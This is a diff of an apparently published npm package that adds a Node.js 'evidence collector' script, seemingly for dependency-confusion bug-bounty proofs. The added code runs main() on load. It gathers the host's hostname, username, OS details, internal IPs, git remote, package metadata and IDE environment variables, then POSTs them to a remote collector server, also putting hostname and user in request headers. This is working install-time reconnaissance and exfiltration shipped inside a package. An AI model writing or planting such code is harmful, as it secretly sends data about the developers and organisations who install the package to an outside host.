const packageJson = JSON.parse(fs.readFileSync('./package.json', 'utf8'));
|
|
427
|
+
evidence.packageInfo = {
|
|
428
|
+
name: packageJson.name,
|
|
429
|
+
version: packageJson.version,
|
|
430
|
+
scripts: Object.keys(packageJson.scripts || {}),
|
|
431
|
+
dependencies: Object.keys(packageJson.dependencies || {}).slice(0, 10)
|
|
432
|
+
};
|
|
433
|
+
}
|
|
434
|
+
} catch (err) {}
|
|
435
|
+
|
|
436
|
+
// Check for development environment indicators
|
|
437
|
+
const devIndicators = [
|
|
438
|
+
'VSCODE_PID', 'INTELLIJ_IDEA', 'WEB_IDE', 'DEV_CONTAINER',
|
|
439
|
+
'NODE_ENV=development', 'LOCAL_DEV', 'DEVELOPMENT'
|
|
440
|
+
];
|
|
441
|
+
|
|
442
|
+
for (const indicator of devIndicators) {
|
|
443
|
+
if (process.env[indicator] || (typeof process.env.NODE_ENV !== 'undefined' && process.env.NODE_ENV === 'development')) {
|
|
444
|
+
evidence.developmentEnvironment.push(indicator);
|
|
445
|
+
}
|
|
446
|
+
}
|
|
447
|
+
|
|
448
|
+
console.log(`${colors.green} ✓ Found ${evidence.corporateIndicators.length} corporate indicators`);
|
|
449
|
+
if (evidence.gitInfo) console.log(`${colors.green} ✓ Git repo: ${evidence.gitInfo.remote}`);
|
|
450
|
+
if (evidence.packageInfo) console.log(`${colors.green} ✓ Package: ${evidence.packageInfo.name} v${evidence.packageInfo.version}${colors.reset}`);
|
|
451
|
+
|
|
452
|
+
return evidence;
|
|
368
453
|
}
|
|
369
454
|
|
|
370
|
-
//
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
455
|
+
// ============ GENERATE PROOF HASH ============
|
|
456
|
+
function generateProofHash(allEvidence) {
|
|
457
|
+
const proofString = JSON.stringify({
|
|
458
|
+
hostname: allEvidence.hostname.systemHostname,
|
|
459
|
+
username: allEvidence.whoami.username,
|
|
460
|
+
timestamp: new Date().toISOString(),
|
|
461
|
+
internalIPs: allEvidence.http.internalIPs.map(ip => ip.address),
|
|
462
|
+
randomNonce: crypto.randomBytes(32).toString('hex')
|
|
463
|
+
});
|
|
464
|
+
|
|
465
|
+
return crypto.createHash('sha256').update(proofString).digest('hex');
|
|
466
|
+
}
|
|
467
|
+
|
|
468
|
+
// ============ SEND TO COLLECTOR ============
|
|
469
|
+
async function sendEvidence(allEvidence) {
|
|
470
|
+
console.log(`\n${colors.yellow}📤 Sending evidence to collector...${colors.reset}`);
|
|
471
|
+
|
|
472
|
+
const proofHash = generateProofHash(allEvidence);
|
|
473
|
+
const payload = {
|
|
474
|
+
...allEvidence,
|
|
475
|
+
proofHash: proofHash,
|
|
476
|
+
submissionTimestamp: new Date().toISOString(),
|
|
477
|
+
collectorEndpoint: `${COLLECTOR_SERVER}${COLLECTOR_PATH}`
|
|
478
|
+
};
|
|
479
|
+
|
|
480
|
+
const dataString = JSON.stringify(payload, null, 2);
|
|
481
|
+
|
|
482
|
+
return new Promise((resolve, reject) => {
|
|
483
|
+
const protocol = USE_HTTPS ? https : http;
|
|
484
|
+
const options = {
|
|
485
|
+
hostname: COLLECTOR_SERVER,
|
|
486
|
+
port: COLLECTOR_PORT,
|
|
487
|
+
path: COLLECTOR_PATH,
|
|
488
|
+
method: 'POST',
|
|
382
489
|
headers: {
|
|
383
|
-
|
|
384
|
-
|
|
490
|
+
'Content-Type': 'application/json',
|
|
491
|
+
'Content-Length': Buffer.byteLength(dataString),
|
|
492
|
+
'X-Evidence-Proof': proofHash,
|
|
493
|
+
'X-Source-Hostname': allEvidence.hostname.systemHostname,
|
|
494
|
+
'X-Source-User': allEvidence.whoami.username
|
|
385
495
|
}
|
|
496
|
+
};
|
|
497
|
+
|
|
498
|
+
const req = protocol.request(options, (res) => {
|
|
499
|
+
console.log(`${colors.green}✓ Evidence sent! Status: ${res.statusCode}${colors.reset}`);
|
|
500
|
+
resolve(res.statusCode);
|
|
386
501
|
});
|
|
387
502
|
|
|
388
|
-
req.on('error', (
|
|
389
|
-
console.
|
|
503
|
+
req.on('error', (err) => {
|
|
504
|
+
console.log(`${colors.red}✗ Failed to send: ${err.message}${colors.reset}`);
|
|
505
|
+
console.log(`${colors.yellow}⚠️ Evidence saved locally for manual submission${colors.reset}`);
|
|
506
|
+
fs.writeFileSync('./evidence_backup.json', dataString);
|
|
507
|
+
resolve(null);
|
|
390
508
|
});
|
|
391
509
|
|
|
392
510
|
req.write(dataString);
|
|
393
511
|
req.end();
|
|
512
|
+
});
|
|
513
|
+
}
|
|
514
|
+
|
|
515
|
+
// ============ MAIN EXECUTION ============
|
|
516
|
+
async function main() {
|
|
517
|
+
try {
|
|
518
|
+
console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
519
|
+
console.log(`${colors.magenta} SECURITY EVIDENCE COLLECTOR - FOR VALID REPORTS ONLY${colors.reset}`);
|
|
520
|
+
console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}\n`);
|
|
521
|
+
|
|
522
|
+
// Collect all required evidence
|
|
523
|
+
const httpEvidence = await captureHTTPEvidence();
|
|
524
|
+
const hostnameEvidence = getHostnameEvidence();
|
|
525
|
+
const osEvidence = getOSServerInfo();
|
|
526
|
+
const whoamiEvidence = getWhoamiEvidence();
|
|
527
|
+
const ownershipEvidence = await proveProgramOwnership();
|
|
528
|
+
|
|
529
|
+
// Combine all evidence
|
|
530
|
+
const allEvidence = {
|
|
531
|
+
required: {
|
|
532
|
+
httpRequests: httpEvidence, // MANDATORY
|
|
533
|
+
hostname: hostnameEvidence,
|
|
534
|
+
osServer: osEvidence,
|
|
535
|
+
whoami: whoamiEvidence
|
|
536
|
+
},
|
|
537
|
+
ownership: ownershipEvidence,
|
|
538
|
+
metadata: {
|
|
539
|
+
nodeVersion: process.version,
|
|
540
|
+
scriptPath: __dirname,
|
|
541
|
+
timestamp: new Date().toISOString(),
|
|
542
|
+
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
|
543
|
+
language: 'JavaScript/Node.js'
|
|
544
|
+
}
|
|
545
|
+
};
|
|
546
|
+
|
|
547
|
+
// Display summary
|
|
548
|
+
console.log(`\n${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
549
|
+
console.log(`${colors.green}✓ EVIDENCE COLLECTED SUCCESSFULLY${colors.reset}`);
|
|
550
|
+
console.log(`${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
551
|
+
console.log(`\n${colors.cyan}Summary:${colors.reset}`);
|
|
552
|
+
console.log(` • HTTP Requests: ${allEvidence.required.httpRequests.outgoingRequests.length}`);
|
|
553
|
+
console.log(` • Internal IPs: ${allEvidence.required.httpRequests.internalIPs.length}`);
|
|
554
|
+
console.log(` • External IPs: ${allEvidence.required.httpRequests.externalIPs.length}`);
|
|
555
|
+
console.log(` • Hostname: ${allEvidence.required.hostname.systemHostname}`);
|
|
556
|
+
console.log(` • User: ${allEvidence.required.whoami.username}`);
|
|
557
|
+
console.log(` • Corporate Indicators: ${allEvidence.ownership.corporateIndicators.length}`);
|
|
558
|
+
|
|
559
|
+
// Send to collector
|
|
560
|
+
await sendEvidence(allEvidence);
|
|
561
|
+
|
|
562
|
+
console.log(`\n${colors.yellow}Important: This evidence proves the package was executed by:${colors.reset}`);
|
|
563
|
+
console.log(` ✓ User: ${whoamiEvidence.username}`);
|
|
564
|
+
console.log(` ✓ On host: ${hostnameEvidence.systemHostname}`);
|
|
565
|
+
console.log(` ✓ From internal network: ${httpEvidence.internalIPs.length > 0 ? 'YES' : 'NO'}`);
|
|
566
|
+
console.log(` ✓ With corporate indicators: ${ownershipEvidence.corporateIndicators.length > 0 ? 'YES' : 'NO'}`);
|
|
567
|
+
|
|
568
|
+
if (ownershipEvidence.corporateIndicators.length === 0 && httpEvidence.internalIPs.length === 0) {
|
|
569
|
+
console.log(`\n${colors.red}⚠️ WARNING: No corporate indicators found!${colors.reset}`);
|
|
570
|
+
console.log(`${colors.red}This may not be a valid security risk on the program's side.${colors.reset}`);
|
|
571
|
+
}
|
|
394
572
|
|
|
395
573
|
} catch (error) {
|
|
396
|
-
console.error(
|
|
574
|
+
console.error(`${colors.red}Error collecting evidence:${colors.reset}`, error);
|
|
575
|
+
process.exit(1);
|
|
397
576
|
}
|
|
398
577
|
}
|
|
399
578
|
|
|
400
|
-
//
|
|
401
|
-
|
|
579
|
+
// Run the collector
|
|
580
|
+
main();
|
package/package.json
CHANGED